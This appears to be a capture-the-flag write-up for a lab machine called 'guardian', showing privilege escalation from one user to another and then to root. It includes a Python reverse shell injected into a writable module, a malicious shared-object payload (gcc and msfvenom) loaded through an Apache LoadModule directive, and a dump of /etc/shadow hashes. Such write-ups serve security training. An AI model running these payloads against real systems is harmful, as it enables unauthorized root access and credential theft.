Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py- Appears
jamilcan sudo asmarkto run a python script - Reading source code we see pretty straight forward path
jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()- We see
markis the only one allowed to run these scripts except forsystem-status - Enumerating privs on resources called by script reveals we can edit
/opt/scripts/utilities/utils/status.py
jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 09:45 status.py
jamil@guardian:~$ cat /opt/scripts/utilities/utils/status.pyimport platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")- Add a line for revshell with
os.system - Could just use
bash -pas well
jamil@guardian:~$ nano /opt/scripts/utilities/utils/status.pyimport platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system('python3 -c "import os,pty,socket;s=socket.socket();s.connect((\'IP\',PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\'/bin/bash\')"')- Run sudo cmd to execute your payload as
mark
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-status- Catch or spawn shell
mark@guardian:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
mark@guardian:~$ ls
confs- Quick static analysis reveals some interesting information
stringsis enough to find a lead on exploitation
mark@guardian:~$ strings /usr/local/bin/safeapache2ctl
*snip*
Include
IncludeOptional
LoadModule
/home/mark/confs/
[!] Blocked: %s is outside of %s
Usage: %s -f /home/mark/confs/file.conf
realpath
Access denied: config must be inside %s
fopen
Blocked: Config includes unsafe directive.
apache2ctl
/usr/sbin/apache2ctl
*snip*- Quick websearch of
apache2ctl loadmodulereturns some documentation



- Seems like
safeapache2ctlloads a.confpointing to an.sobinary intoapache2ctl - Forces and verifies the filepath
/home/mark/confs/ - Searching online for “shared object exploit” returned a relevant article, although we will have to adapt to our needs.

root.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/root && chmod +s /tmp/root && /tmp/root -p");
}- Compile
$ gcc -shared -fPIC -o /home/mark/root.so /home/mark/root.cmsfvenomcan also create a payload for us
$ msfvenom -p linux/x64/exec CMD='cp /bin/bash /tmp/root;chmod +s /tmp/root' -f elf-so -o root.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
Final size of elf-so file: 480 bytes
Saved as: root.so
# upload to machine- Now create new
.conffile that points to ourroot.sopayload
mark@guardian:~$ echo 'LoadModule fake_module /path/to/root.so' > /home/mark/confs/root.conf- Execute
sudocmd passing-fflag
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/root.conf
root@guardian:/home/mark$ id
uid=0(root) gid=0(root) groups=0(root)
root@guardian:/home/mark$ Terminated
Action '-f /home/mark/confs/root.conf' failed.
The Apache error log may have more information./tmp/rootcrashes rather quickly, however we did execute the previous cmds copying bash over- Can check and see we have made
/tmp/rootglobally accessible - Simply spawn
rootshell via/tmp/root -p
jamil@guardian:~$ /tmp/root -p
root-5.1# id
uid=1000(jamil) gid=1000(jamil) euid=0(root) egid=0(root) groups=0(root),1000(jamil),1002(admins)
root-5.1$ ls /root
root.txt scripts
root-5.1$ cat /etc/shadow
root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::
jamil:$y$j9T$0g6BWHp46972nIYN0Gj0e0$vf.QetvxTkPatB92P2q8DlsUFvpIZ1Qr0KJOzCyF.F.:20192:0:99999:7:::
mark:$y$j9T$aEIRzrZQQNh8SU6Ss0hMP1$Jv9fMaspdhoi6v.VTesIP9Ecg90sK8rMfGwK/AfOEW2:20196:0:99999:7:::
sammy:$y$j9T$HR6clkatmQS4r1UuR5lYI1$NRjKeyi5l3pVP31sudznYg8qQMTu7fqAynlntroedIC:20299:0:99999:7:::